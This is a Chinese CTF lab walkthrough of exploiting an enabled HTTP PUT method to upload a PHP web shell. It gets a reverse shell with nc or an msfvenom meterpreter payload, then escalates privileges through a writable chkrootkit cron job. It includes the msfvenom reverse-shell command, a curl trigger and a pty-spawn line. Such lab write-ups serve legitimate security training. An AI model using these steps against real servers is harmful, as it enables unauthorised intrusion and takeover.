CTF—攻防练习之HTTP—18PUT上传漏洞

主机:192.168.56.103
靶机:192.168.56.105

中间件PUT漏洞

包括apache,tomcat,IIS等中间件设置支持的HTTP方法(get,post,head,delete,put等)
每一个开放了HTTP方法都有其对应功能,PUT方法可以直接从客户机上传文件到服务器,如果中间件开放了
HTTP中的PUT方法,那么就可以利用上传webshell到服务器对应目录

一、信息探测

扫描靶机端口:
CTF—攻防练习之HTTP—18PUT上传漏洞然后常规方法nikto -host ,dirb探测敏感文件,owasp zap扫web漏洞,都发现不了什么东西,扫描只有一个网址可以进入http://192.168.136.140/test/ ,测试一下是否存在PUT漏洞

curl -v -X OPTIONS +ip地址
CTF—攻防练习之HTTP—18PUT上传漏洞发现存在PUT方法

二、生产并上传webshell

有两种方法

1、第一种方法:利用现有shell;利用curl命令上传;利用nc监听;最后得到反弹shell

a.用/usr/share/webshell/php 目录下phpwebshell,拷贝到根目录下

CTF—攻防练习之HTTP—18PUT上传漏洞

b.设置监听主机和端口号,并重命名。

(注:换成其他高位端口不能监听成功,防火墙过滤掉了)
CTF—攻防练习之HTTP—18PUT上传漏洞

c.上传上去(看的****朋友,这里有个坑,视频零用的poster直接上传。。现在火狐不支持这个插件了,

找了好久,发现了火狐的RESTClient可用,可以PUT,但不能直接传文件,但可以选择类型,把shell代码复制进去上传)
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
shell上传成功!
也可利用curl命令上传shell
CTF—攻防练习之HTTP—18PUT上传漏洞

d.开启监听443端口,执行上传的shell(点击http://192.168.56.104/test/shell_reverse.php),得到反弹的shell

2、第二种方法:利用msf生产;利用curl命令上传;利用msf监听;最后得到反弹shell

a.利用msf构造payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.133 LPORT=443 > shell_msf.php
CTF—攻防练习之HTTP—18PUT上传漏洞

b.上传shell.利用restclient扩展或者curl命令都可以,不再赘述。

c.利用msf监听。在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听

CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞

d.执行上传的shell(点击http://192.168.56.104/test/shell_reverse.php),得到反弹的shell

执行上传的shell,有两种办法 一是直接点击http://192.168.56.104/test/shell_msf.php,得到反弹的shell;另外就是使用curl命令:curl -v “http://192.168.56.104/test/shell_msf.php”
CTF—攻防练习之HTTP—18PUT上传漏洞
即可触发服务器端反弹TCP的操作, 在msfconsole里就会得到一个meterpreter的shell。

三、提权,去拿flag

1.优化终端:无论是在nc监听还是在meterpreter中得到的交互式的shell,但是都没有tty,需要用python生成一个bash。

python -c “import pty;pty.spawn(‘/bin/bash’)”

得到交互的bash

注意:meterpreter中得到shell,需要用shell命令来得到一个交互式的shell,再用python来spawn优化生成一个bash。如上图所示
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
测试下sudo,可以看到sudo已经奏效。

2.提权。

a.先使用sudo -l,可以查看当前用户可以使用root提权的有哪些命令信息。

CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
我们发现系统要求我们输入密码,我们试图使用弱口令(空口令、123456、www-data)都不能登录www-data账户,自然也就不能使用当前用户(www-data)使用root提权的那些命令信息。

b.再尝试使用root明文方法。提示没有权限

CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞

c.再次尝试用密码复用;

CTF—攻防练习之HTTP—18PUT上传漏洞
上图是方法原理,下图是我们自己尝试的,发现此路也不通;
CTF—攻防练习之HTTP—18PUT上传漏洞

d.再次尝试用系统内核漏洞;

CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
上面两图是方法,我们来尝试下,发现一个漏洞,但是这里不用这个漏洞,我们用”计划任务“方法来提权
CTF—攻防练习之HTTP—18PUT上传漏洞

e.利用计划任务方法来提权

CTF—攻防练习之HTTP—18PUT上传漏洞
e1.上图是原理方法,我们来尝试下,发现并不具有一个可写的计划任务
CTF—攻防练习之HTTP—18PUT上传漏洞
知识点扩展1:修改/etc/crontab这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等,crontab -e这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename。
e2.再次尝试用ls -la /etc/cron*命令显示所有包括隐藏的计划任务,发现敏感信息chkrootkit
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞

e3.扫描漏洞chkrootkit,可以看到chkrootkit存在本地提权漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞
e4.添加当前用户www-data到sudoers列表中
CTF—攻防练习之HTTP—18PUT上传漏洞
CTF—攻防练习之HTTP—18PUT上传漏洞

知识点扩展3:什么是rootkit